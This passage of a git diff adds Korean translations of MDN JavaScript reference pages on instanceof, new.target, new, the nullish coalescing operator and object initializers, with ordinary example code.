+XPCOM <code>instanceof</code> 을 사용하는 코드에서는 특별한 효과를 가집니다. :  <code>obj instanceof </code><em><code>xpcomInterface </code></em>(예. <code>Components.interfaces.nsIFile</code>)가 <code>obj.QueryInterface(<em>xpcomInterface</em>)</code>를<code> </code>호출하고, 만약 QueryInterface 가 성공하면 <code>true</code> 를 리턴합니다. 이 호출의 부가 효과로는 <code>obj</code> 에서 성공적인 <code>instanceof</code> 테스트 후에 <em><code>xpcomInterface</code></em>'s의 프로퍼티를 사용할 수 있습니다. 스탠다드 JavaScript 전역속성들과는 달리, 테스트 <code>obj instanceof xpcomInterface</code>는 <code>obj</code>가 다른 스코프에 있더라도 작동합니다.</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="String과_Date는_타입_Object이며_예외적인_경우임을_입증하기"><code>String</code>과 <code>Date</code>는 타입 <code>Object</code>이며, 예외적인 경우임을 입증하기</h3>
+
+<p>아래의 코드는 <code>instanceof</code> 를 <code>String</code> 과 <code>Date</code> 오브젝트도 타입 <code>Object</code>임을 확인하기 위해 사용합니다.(이 오브젝트들은 <code>Object </code>로부터 파생되었습니다.)</p>
+
+<p>그러나, 여기서 오브젝트 리터럴 노테이션으로 생성된 오브젝트는 예외적입니다. : 비록 프로토 타입이 정의되지 않았지만, <code>instanceof Object</code>는<code> true</code>를 리턴합니다.</p>
+
+<pre class="brush: js">var simpleStr = "This is a simple string";
+var myString = new String();
+var newStr = new String("String created with constructor");
+var myDate = new Date();
+var myObj = {};
+
+simpleStr instanceof String; // returns false, prototype chain을 확인하고, undefined를 찾는다.
+myString instanceof String; // returns true
+newStr instanceof String; // returns true
+myString instanceof Object; // returns true
+
+myObj instanceof Object; // returns true, undefined prototype 임에도 불구하고 true.
+({}) instanceof Object; // returns true, 위의 경우와 동일.
+
+myString instanceof Date; // returns false
+
+myDate instanceof Date; // returns true
+myDate instanceof Object; // returns true
+myDate instanceof String; // returns false
+</pre>
+
+<h3 id="mycar는_타입_Car와_타입_Object임을_입증하기"><code>mycar</code>는 타입 <code>Car</code>와 타입 <code>Object</code>임을 입증하기</h3>
+
+<p>다음의 코드는 <code>Car</code> 오브젝트 타입과 그 오브젝트 타입의 인스턴스 <code>mycar</code>를 생성합니다. <code>instanceof</code> 연산자는 <code>mycar</code> 오브젝트는 타입 <code>Car</code> 와 타입 <code>Object </code>라는 것은 보여줍니다.</p>
+
+<pre class="brush: js">function Car(make, model, year) {
+ this.make = make;
+ this.model = model;
+ this.year = year;
+}
+var mycar = new Car("Honda", "Accord", 1998);
+var a = mycar instanceof Car; // returns true
+var b = mycar instanceof Object; // returns true
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-relational-operators', 'Relational Operators')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-relational-operators', 'Relational Operators')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-11.8.6', 'The instanceof operator')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3', '#sec-11.8.6', 'The instanceof operator')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td>
+ <p>초기 정의. JavaScript 1.4에서 구현됨.</p>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.operators.instanceof")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Operators/typeof", "typeof")}}</li>
+ <li>{{jsxref("Symbol.hasInstance")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/new.target/index.html b/files/ko/web/javascript/reference/operators/new.target/index.html
new file mode 100644
index 0000000000..9c480c1513
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/new.target/index.html
@@ -0,0 +1,93 @@
+---
+title: new.target
+slug: Web/JavaScript/Reference/Operators/new.target
+tags:
+ - Classes
+ - ECMAScript 2015
+ - JavaScript
+ - Reference
+translation_of: Web/JavaScript/Reference/Operators/new.target
+---
+<div>{{JSSidebar("Operators")}}</div>
+
+<p><strong><code>new.target</code></strong> 속성(property)은 함수 또는 생성자가 <a href="/ko/docs/Web/JavaScript/Reference/Operators/new">new</a> 연산자를 사용하여 호출됐는지를 감지할 수 있습니다. <a href="/ko/docs/Web/JavaScript/Reference/Operators/new">new</a> 연산자로 인스턴스화된 생성자 및 함수에서, <code>new.target</code>은 생성자 또는 함수 참조를 반환합니다. 일반 함수 호출에서는, <code>new.target</code>은 {{jsxref("undefined")}}입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-newtarget.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">new.target</pre>
+
+<h2 id="설명">설명</h2>
+
+<p><code>new.target</code> 구문은 키워드 "<code>new</code>", 점 및 속성명 "<code>target</code>"으로 구성됩니다. 보통 "<code>new.</code>"은 속성 접근을 위한 문맥(context)으로 제공하지만 여기서 "<code>new.</code>"은 정말 객체가 아닙니다. 그러나, 생성자 호출에서 <code>new.target</code>은 <code>new</code>에 의해 호출된 생성자를 가리키고 그래서 "<code>new.</code>"은 가상 문맥이 됩니다.</p>
+
+<p><code>new.target</code> 속성은 모든 함수가 이용할 수 있는 메타 속성입니다. <a href="/ko/docs/Web/JavaScript/Reference/Functions/애로우_펑션">화살표 함수</a>에서, <code>new.target</code>은 둘러싸는 함수의 <code>new.target</code>을 말합니다.</p>
+
+<h2 id="예">예</h2>
+
+<h3 id="함수_호출에서_new.target">함수 호출에서 new.target</h3>
+
+<p>일반 함수 호출(생성자 함수 호출과는 반대로)에서, <code>new.target</code>은 {{jsxref("undefined")}}입니다. 이는 함수가 생성자로서 <a href="/ko/docs/Web/JavaScript/Reference/Operators/new">new</a>로 호출된 경우를 감지할 수 있습니다.</p>
+
+<pre class="brush: js">function Foo() {
+ if (!new.target) throw "Foo() must be called with new";
+ console.log("Foo instantiated with new");
+}
+
+Foo(); // throws "Foo() must be called with new"
+new Foo(); // logs "Foo instantiated with new"
+</pre>
+
+<h3 id="생성자에서_new.target">생성자에서 new.target</h3>
+
+<p>클래스 생성자에서, <code>new.target</code>은 <code>new</code>에 의해 직접 호출된 생성자를 가리킵니다. 이는 그 생성자가 부모 클래스에 있고 자식 생성자로부터 위임받은 경우도 그 경우입니다.</p>
+
+<pre class="brush: js">class A {
+ constructor() {
+ console.log(new.target.name);
+ }
+}
+
+class B extends A { constructor() { super(); } }
+
+var a = new A(); // logs "A"
+var b = new B(); // logs "B"
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-built-in-function-objects', 'Built-in Function Objects')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-built-in-function-objects', 'Built-in Function Objects')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.operators.new_target")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Functions">함수</a></li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Classes">클래스</a></li>
+ <li><code><a href="/ko/docs/Web/JavaScript/Reference/Operators/new">new</a></code></li>
+ <li><code><a href="/ko/docs/Web/JavaScript/Reference/Operators/this">this</a></code></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/new/index.html b/files/ko/web/javascript/reference/operators/new/index.html
new file mode 100644
index 0000000000..a28d21de18
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/new/index.html
@@ -0,0 +1,187 @@
+---
+title: new operator
+slug: Web/JavaScript/Reference/Operators/new
+tags:
+ - JavaScript
+ - Operator
+ - Reference
+translation_of: Web/JavaScript/Reference/Operators/new
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong><code>new</code> 연산자</strong>는 사용자 정의 객체 타입 또는 내장 객체 타입의 인스턴스를 생성한다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/expressions-newoperator.html")}}</p>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">new <em>constructor</em>[([<em>arguments</em>])]</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>constructor</code></dt>
+ <dd>객체 인스턴스의 타입을 기술(명세)하는 함수</dd>
+</dl>
+
+<dl>
+ <dt><code>arguments</code></dt>
+ <dd><code>constructor</code>와 함께 호출될 값 목록</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>사용자 정의 객체를 생성에는 두 단계가 필요하다:</p>
+
+<ol>
+ <li>함수를 작성하여 객체 타입을 정의한다.</li>
+ <li><code>new</code> 연산자로 객체의 인스턴스를 생성한다.</li>
+</ol>
+
+<p>객체의 타입을 정의하기 위해, 객체의 이름과 속성을 명세하는 함수를 만든다. 객체는 그 자체가 또 다른 객체인 속성을 가질 수 있다. 아래의 예를 본다.</p>
+
+<p>코드 <code>new Foo(...)</code>가 실행될 때 다음과 같은 일이 발생한다:</p>
+
+<ol>
+ <li><code>Foo.prototype</code>을 상속하는 새로운 객체가 하나 생성된다.</li>
+ <li>명시된 인자 그리고 새롭게 생성된 객체에 바인드된 this와 함께 생성자 함수 <code>Foo</code>가 호출된다.<code>new Foo</code>는 <code>new Foo()</code>와 동일하다. 즉 인자가 명시되지 않은 경우, 인자 없이 <code>Foo</code>가 호출된다.</li>
+ <li>생성자 함수에 의해 리턴된 객체는 전체 <code>new</code> 호출 결과가 된다. 만약 생성자 함수가 명시적으로 객체를 리턴하지 않는 경우, 첫 번째 단계에서 생성된 객체가 대신 사용된다.(일반적으로 생성자는 값을 리턴하지 않는다. 그러나 일반적인 객체 생성을 재정의(override)하기 원한다면 그렇게 하도록 선택할 수 있다.)</li>
+</ol>
+
+<p>언제든 이전에 정의된 객체에 속성을 추가할 수 있다. 예를 들면, <code>car1.color = "black"</code> 구문은 <code>color</code> 속성을 <code>car1</code>에 추가하고 해당 속성에 "<code>black</code>"이란 값을 할당한다. 그러나, 이것이 다른 객체들에게는 영향을 주지 않는다. 동일한 타입의 모든 객체들에게 새로운 속성을 추가하려면, <code>Car</code> 객체 타입의 정의에 이 속성을 추가해야한다.</p>
+
+<p><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype">Function.prototype</a></code> 속성을 사용하여 이전에 정의된 객체 타입에 공유 속성을 추가할 수 있다. 이것은 객체 타입의 인스턴스 하나에만 적용되는 것이 아니라 이 함수로 생성하는 모든 객체와 공유하는 속성을 정의한다.</p>
+
+<p>다음의 코드는 <code>car</code> 타입의 모든 객체에 "<code>original color</code>" 값을 갖는 color 속성을 추가한다. 그리고 <code>car1</code> 객체 인스턴스에서만 이 값을 문자열 "<code>black</code>"으로 덮어쓴다. 더 많은 정보는 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype">prototype</a>을 참조한다.</p>
+
+<pre class="brush: js">function Car() {}
+car1 = new Car();
+car2 = new Car();
+
+console.log(car1.color); // undefined
+
+Car.prototype.color = "original color";
+console.log(car1.color); // original color
+
+car1.color = 'black';
+console.log(car1.color); // black
+
+console.log(car1.__proto__.color) //original color
+console.log(car2.__proto__.color) //original color
+console.log(car1.color) // black
+console.log(car2.color) // original color
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="객체_타입과_객체_인스턴스">객체 타입과 객체 인스턴스</h3>
+
+<p>cars를 위한 객체 타입을 생성하기 원한다고 가정해 보자. 이 객체 타입이 <code>car</code>로 불리기 원하고, make, model, 그리고 year 속성을 갖게 하고 싶다. 이렇게 하기 위해서 다음과 같은 함수를 작성할 것이다:</p>
+
+<pre class="brush: js">function Car(make, model, year) {
+ this.make = make;
+ this.model = model;
+ this.year = year;
+}
+</pre>
+
+<p>이제 다음과 같이, <code>mycar</code>로 불리는 객체를 생성할 수 있다:</p>
+
+<pre class="brush: js">var mycar = new Car("Eagle", "Talon TSi", 1993);
+</pre>
+
+<p>이 구문은 <code>mycar</code> 를 생성하고 명시한 값을 속성값으로 설정한다. 그래서 <code>mycar.make</code>의 값은 문자열 "Eagle"이고, <code>mycar.year</code>는 정수 1993이며 나머지도 마찬가지이다.</p>
+
+<p><code>new</code>를 호출해서 얼마든지 <code>car</code> 객체를 생성할 수 있다. 예를 들면:</p>
+
+<pre class="brush: js">var kenscar = new Car("Nissan", "300ZX", 1992);
+</pre>
+
+<h3 id="속성_그_자신이_다른_객체인_객체의_속성">속성 그 자신이 다른 객체인 객체의 속성</h3>
+
+<p><code>person</code>이라고 불리는 객체를 다음과 같이 정의한다고 가정해보자:</p>
+
+<pre class="brush: js">function Person(name, age, sex) {
+ this.name = name;
+ this.age = age;
+ this.sex = sex;
+}
+</pre>
+
+<p>그리고 다음과 같이 두 개의 <code>person</code> 객체 인스턴스를 새롭게 생성한다:</p>
+
+<pre class="brush: js">var rand = new Person("Rand McNally", 33, "M");
+var ken = new Person("Ken Jones", 39, "M");
+</pre>
+
+<p>그런 다음 <code>owner</code> 속성을 포함하는 <code>car</code>의 정의를 다시 쓸 수 있다. 이 owner 속성은 다음과 같은 person 객체를 취한다:</p>
+
+<pre class="brush: js">function Car(make, model, year, owner) {
+ this.make = make;
+ this.model = model;
+ this.year = year;
+ this.owner = owner;
+}
+</pre>
+
+<p>새로운 객체의 인스턴스를 생성하기 위해 다음과 같이 사용한다:</p>
+
+<pre class="brush: js">var car1 = new Car("Eagle", "Talon TSi", 1993, rand);
+var car2 = new Car("Nissan", "300ZX", 1992, ken);
+</pre>
+
+<p>새로운 객체를 생성할 때 문자열이나 숫자 값을 넘겨주는 대신에, 위의 구문은 owner를 위한 매개변수로 <code>rand</code>와 <code>ken</code> 객체를 넘겨준다. <code>car2</code>의 owner name을 확인해보기 위해서, 다음의 속성에 접근할 수 있다:</p>
+
+<pre class="brush: js">car2.owner.name
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-new-operator', 'The new Operator')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-new-operator', 'The new Operator')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-11.2.2', 'The new Operator')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3', '#sec-11.2.2', 'The new Operator')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1', '#sec-11.2.2', 'The new Operator')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.0.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.operators.new")}}</p>
+
+<h2 id="관련_문서">관련 문서</h2>
+
+<ul>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("Reflect.construct()")}}</li>
+ <li>{{jsxref("Object.prototype")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/nullish_coalescing_operator/index.html b/files/ko/web/javascript/reference/operators/nullish_coalescing_operator/index.html
new file mode 100644
index 0000000000..cae74ea29d
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/nullish_coalescing_operator/index.html
@@ -0,0 +1,161 @@
+---
+title: Nullish coalescing operator
+slug: Web/JavaScript/Reference/Operators/Nullish_coalescing_operator
+translation_of: Web/JavaScript/Reference/Operators/Nullish_coalescing_operator
+---
+<p>{{JSSidebar("Operators")}}</p>
+
+<p><strong>널 병합 연산자 (<code>??</code>)</strong> 는 왼쪽 피연산자가 {{jsxref("null")}} 또는 {{jsxref("undefined")}}일 때 오른쪽 피연산자를 반환하고, 그렇지 않으면 왼쪽 피연산자를 반환하는 논리 연산자이다.</p>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_OR_2">논리 연산자 OR (<code>||</code>)</a>와 달리, 왼쪽 피연산자가 <code>null</code> 또는 <code>undefined</code>가 아닌 <em><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Description">falsy</a> </em>값이면 반환된다. 즉, 만약 다른 변수 foo에게 기본 값을 제공하기 위해 <code>||</code>을 사용 경우, <em><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Description">falsy</a> </em>값( <code>''</code> 또는 <code>0</code>)을 사용하는 것을 고려했다면 예기치 않는 동작이 발생할 수 있다. 더 많은 예제는 아래를 보자.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-nullishcoalescingoperator.html")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.<br>
+ 이 예제의 추가는 <a href="https://github.com/mdn/interactive-examples/pull/1482#issuecomment-553841750">PR #1482</a>를 참조해라.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox notranslate"><var>leftExpr</var> ?? <var>rightExpr</var>
+</pre>
+
+<h2 id="설명">설명</h2>
+
+<p>널 병합 연산자는 만약 왼쪽 표현식이 {{jsxref("null")}} 또는 {{jsxref("undefined")}}인 경우, 오른쪽 표현식의 결과를 반환한다.</p>
+
+<h3 id="변수에_기본값_할당">변수에 기본값 할당</h3>
+
+<p>이전에는 변수에 기본값을 할당하고 싶을 때, 논리 연산자 OR (<code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_OR_2">||</a></code>)을 사용하는 것이 일반적인 패턴이다:</p>
+
+<pre class="brush: js notranslate">let foo;
+...
+// foo is never assigned any value so it is still undefined
+let someDummyText = foo || 'Hello!';</pre>
+
+<p>그러나 <code>||</code> boolean 논리 연산자 때문에, 왼쪽 피연산자는 boolean으로 강제로 변환되었고 <em>falsy</em> 한 값(<code>0</code>, <code>''</code>, <code>NaN</code>, <code>null</code>, <code>undefined</code>)은 반환되지 않았다. 이 동작은 만약 <code>0</code>, <code>''</code> or <code>NaN</code>을 유효한 값으로 생각한 경우 예기치 않는 결과를 초래할 수 있다.</p>
+
+<pre class="brush: js notranslate">let count;
+let text;
+...
+count = 0;
+text = "";
+...
+let qty = count || 42;
+let message = text || "hi!";
+console.log(qty); // 42 and not 0
+console.log(message); // "hi!" and not ""
+</pre>
+
+<p>널 병합 연산자는 첫 번째 연산자가 <code>null</code> 또는 <code>undefined</code>로 평가될 때만, 두 번째 피연산자를 반환함으로써 이러한 위험을 피한다:</p>
+
+<pre class="brush: js notranslate">let myText = ''; // An empty string (which is also a falsy value)
+
+let notFalsyText = myText || 'Hello world';
+console.log(notFalsyText); // Hello world
+
+let preservingFalsy = myText ?? 'Hi neighborhood';
+console.log(preservingFalsy); // '' (as myText is neither undefined nor null)
+</pre>
+
+<h3 id="단락">단락</h3>
+
+<p>OR과 AND 같은 논리 연산자들과 마찬가지로, 만약 왼쪽이 <code>null</code> 또는 <code>undefined</code>가 아님이 판명되면 오른쪽 표현식은 평가되지 않는다.</p>
+
+<pre class="brush: js notranslate">function A() { console.log('A was called'); return undefined;}
+function B() { console.log('B was called'); return false;}
+function C() { console.log('C was called'); return "foo";}
+
+console.log( A() ?? C() );
+// logs "A was called" then "C was called" and then "foo"
+// as A() returned undefined so both expressions are evaluated
+
+console.log( B() ?? C() );
+// logs "B was called" then "false"
+// as B() returned false (and not null or undefined), the right
+// hand side expression was not evaluated
+</pre>
+
+<h3 id="No_chaining_with_AND_or_OR_operators">No chaining with AND or OR operators</h3>
+
+<p>AND (<code>&amp;&amp;</code>) 와 OR 연산자 (<code>||</code>)를 <code>??</code>와 직접적으로 결합하여 사용하는 것은 불가능하다. 이 경우 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError">SyntaxError</a></code>가 발생된다.</p>
+
+<pre class="brush: js notranslate">null || undefined ?? "foo"; // raises a SyntaxError
+true || undefined ?? "foo"; // raises a SyntaxError</pre>
+
+<p>그러나 우선 순위를 명시적으로 나타내기 위해 괄호를 사용하면 가능하다:</p>
+
+<pre class="brush: js notranslate">(null || undefined ) ?? "foo"; // returns "foo"
+</pre>
+
+<h3 id="Optional_chaining_연산자.와의_관계">Optional chaining 연산자(<code>?.</code>)와의 관계</h3>
+
+<p>널 병합 연산자는 명확한 값으로 <code>undefined</code>과 <code>null</code>을 처리하고, <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Optional_chaining">optional chaining 연산자 (<code>?.</code>)</a>는 <code>null</code> or <code>undefined</code>일 수 있는 객체의 속성에 접근할 때 유용하다.</p>
+
+<pre class="brush: js notranslate">let foo = { someFooProp: "hi" };
+
+console.log(foo.someFooProp?.toUpperCase()); // "HI"
+console.log(foo.someBarProp?.toUpperCase()); // undefined
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>이 예제는 기본 값을 제공하지만 <code>null</code> or <code>undefined</code> 이외의 값을 를 유지한다. </p>
+
+<pre class="brush: js notranslate">function getMiscObj(){
+ return {
+ aNullProperty: null,
+ emptyText: "", // this is not falsy
+ someNumber: 42
+ };
+};
+
+const miscObj = getMiscObj();
+
+const newObj = {};
+newObj.propA = miscObj.aNullProperty ?? "default for A";
+newObj.propB = miscObj.emptyText ?? "default for B";
+newObj.propC = miscObj.someNumber ?? 0;
+
+console.log(newObj.propA); // "default for A"
+console.log(newObj.propB); // "" (as the empty string is not null or undefined)
+console.log(newObj.propC); // 42
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><a href="https://tc39.es/proposal-nullish-coalescing/#top">Proposal for the "nullish coalescing" operator</a></td>
+ <td>Stage 3</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.operators.nullish_coalescing")}}</p>
+
+<h3 id="구현_진행">구현 진행</h3>
+
+<p>The following table provides a daily implementation status for this feature, because this feature has not yet reached cross-browser stability. The data is generated by running the relevant feature tests in <a href="https://github.com/tc39/test262">Test262</a>, the standard test suite of JavaScript, in the nightly build, or latest release of each browser's JavaScript engine.</p>
+
+<div>{{EmbedTest262ReportResultsTable("coalesce-expression")}}</div>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Optional_chaining">The optional chaining operator</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_OR_2">The logical OR (<code>||</code>) operator</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters">Default paramaters in functions</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/object_initializer/index.html b/files/ko/web/javascript/reference/operators/object_initializer/index.html
new file mode 100644
index 0000000000..825c854848
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/object_initializer/index.html
@@ -0,0 +1,302 @@
+---
+title: 객체 초기자
+slug: Web/JavaScript/Reference/Operators/Object_initializer
+tags:
+ - ECMAScript 2015
+ - ECMAScript6
+ - JSON
+ - JavaScript
+ - Literal
+ - Methods
+ - Object
+ - Primary Expression
+ - computed
+ - mutation
+ - properties
+translation_of: Web/JavaScript/Reference/Operators/Object_initializer
+---
+<div>{{JsSidebar("Operators")}}</div>
+
+<p>객체는 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Object"><code>new Object()</code></a>, <code><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Object/create">Object.create()</a></code> 또는 <em>리터럴</em> 표기법 (<em>initializer</em> 표기법)을 사용하여 초기화될 수 있습니다. 객체 초기자(object initializer)는 0개 이상인 객체 속성명 및 관련값 쌍 목록이 콤마로 분리되어 중괄호(<code>{}</code>)로 묶인 형태입니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/expressions-objectinitializer.html", "taller")}}</p>
+
+<div class="hidden">
+<p>The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: js notranslate">var o = {};
+var o = { a: "foo", b: 42, c: {} };
+
+var a = "foo", b = 42, c = {};
+var o = { a: a, b: b, c: c };
+
+var o = {
+ <var>property: function </var>([<var>parameters</var>]) {},
+ get <var>property</var>() {},
+ set <var>property</var>(<var>value</var>) {},
+};
+</pre>
+
+<h3 id="ECMAScript_2015의_새로운_표기법">ECMAScript 2015의 새로운 표기법</h3>
+
+<p>이 표기법에 대한 지원은 호환성 표를 참조해 주세요. 비지원 환경에서, 이 표기법은 구문 오류로 이어집니다.</p>
+
+<pre class="brush: js notranslate">// 단축 속성명 (ES2015)
+let a = "foo", b = 42, c = {}
+let o = { a, b, c }
+
+// 단축 메서드명 (ES2015)
+var o = {
+ <var>property</var>([<var>parameters</var>]) {}
+}
+
+// 계산된 속성명 (ES2015)
+var prop = 'foo'
+var o = {
+ [prop]: 'hey',
+ ['b' + 'ar']: 'there'
+}</pre>
+
+<h2 id="설명">설명</h2>
+
+<p>객체 초기자는 {{jsxref("Object")}}의 초기화를 기술하는 표현식(expression)입니다. 객체는 객체를 설명하는 데 사용되는<em>속성</em>으로 구성됩니다. 객체의 속성값은 {{Glossary("primitive")}} 데이터 형 또는 다른 객체를 포함할 수 있습니다.</p>
+
+<h3 id="객체_리터럴_표기법_vs_JSON">객체 리터럴 표기법 vs JSON</h3>
+
+<p>객체 리터럴 표기법은 <strong>J</strong>ava<strong>S</strong>cript <strong>O</strong>bject <strong>N</strong>otation (<a href="/ko/docs/Glossary/JSON">JSON</a>)과 같지 않습니다. 비슷해 보이지만, 차이가 있습니다:</p>
+
+<ul>
+ <li>JSON은 <code>"property": value</code> 구문을 사용한 속성 정의<em>만</em> 허용합니다. 속성명은 큰 따옴표로 묶여야 하고, 정의는 단축(명)일 수 없습니다.</li>
+ <li>JSON에서 값은 오직 문자열, 숫자, 배열, <code>true</code>, <code>false</code>, <code>null</code> 또는 다른 (JSON) 객체만 될 수 있습니다.</li>
+ <li>함수 값(아래 "메서드" 참조)은 JSON에서 값에 할당될 수 없습니다.</li>
+ <li>{{jsxref("Date")}} 같은 객체는 {{jsxref("JSON.parse()")}} 후에 문자열이 됩니다.</li>
+ <li>{{jsxref("JSON.parse()")}}는 계산된 속성명을 거부하고 오류를 발생합니다.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="객체_생성">객체 생성</h3>
+
+<p>속성이 없는 빈 객체는 다음과 같이 만들 수 있습니다:</p>
+
+<pre class="brush: js notranslate">var object = {};</pre>
+
+<p>그러나, 리터럴(<em>literal</em>) 또는 초기자(<em>initializer</em>) 표기법의 이점은, 빠르게 중괄호 내 속성이 있는 객체를 만들 수 있다는 것입니다. 당신은 그저 쉼표로 구분된 <strong><code>키: 값</code></strong> 쌍 목록을 표기합니다.</p>
+
+<p>다음 코드는 키가 <code>"foo"</code>, <code>"age"</code> 및 <code>"baz"</code>인 세 속성이 있는 객체를 만듭니다. 이들 키값은 문자열 <code>"bar"</code>, 숫자 <code>42</code> 그리고 세 번째 속성은 그 값으로 다른 객체를 갖습니다.</p>
+
+<pre class="brush: js notranslate">var object = {
+ foo: "bar",
+ age: 42,
+ baz: { myProp: 12 },
+}</pre>
+
+<h3 id="속성_접근">속성 접근</h3>
+
+<p>일단 객체를 생성하면, 읽거나 바꿀 수 있습니다. 객체 속성은 점 표기법 또는 각괄호 표기법을 사용하여 액세스될 수 있습니다. (자세한 사항은 <a href="/ko/docs/Web/JavaScript/Reference/Operators/Property_Accessors" title="property accessors">속성 접근자</a> 참조.)</p>
+
+<pre class="brush: js notranslate">object.foo; // "bar"
+object["age"]; // 42
+
+object.foo = "baz";
+</pre>
+
+<h3 id="속성_정의">속성 정의</h3>
+
+<p>우리는 이미 초기자 구문을 사용한 속성 표기법을 배웠습니다. 가끔, 객체 안에 두고 싶은 코드 속 변수가 있습니다. 다음과 같은 코드가 보입니다:</p>
+
+<pre class="brush: js notranslate">var a = "foo",
+ b = 42,
+ c = {};
+
+var o = {
+ a: a,
+ b: b,
+ c: c
+};</pre>
+
+<p>ECMAScript 2015의 경우, 똑같은 일을 할 수 있는 더 짧은 표기법이 있습니다:</p>
+
+<pre class="brush: js notranslate">var a = "foo",
+ b = 42,
+ c = {};
+
+// 단축 속성명 (ES6)
+var o = { a, b, c }
+
